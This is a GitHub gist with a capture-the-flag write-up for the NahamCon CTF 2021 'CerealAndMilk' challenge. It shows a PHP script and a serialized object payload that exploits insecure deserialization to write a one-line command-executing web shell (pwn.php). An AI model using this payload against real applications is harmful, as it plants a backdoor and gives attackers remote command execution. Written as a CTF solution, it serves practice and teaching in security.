Skip to content

Instantly share code, notes, and snippets.

@markus-k
Last active March 15, 2021 13:44
Show Gist options
  • Save markus-k/462e5a843fa1acc1b5cdb990ecf9229b to your computer and use it in GitHub Desktop.
Save markus-k/462e5a843fa1acc1b5cdb990ecf9229b to your computer and use it in GitHub Desktop.
NahamCon CTF 2021 - CerealAndMilk

Script to create serialized string:

<?php
include 'log.php';

$o = new log;
$o->logs = './pwn.php';
$o->request = '<?php system($_GET[\'cmd\']); ?>';

$s = serialize($o);
echo $s;

?>

Now copy this into the textfield, and delete the last }:

O:3:"log":2:{s:4:"logs";s:9:"./pwn.php";s:7:"request";s:30:"<?php system($_GET['cmd']); ?>";}

Now you can run any command from /pwn.php?cmd=..

@markus-k
Copy link
Author

markus-k commented Mar 15, 2021

@kingrootdm Did you delete the last }? I just tried it again and it's working.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment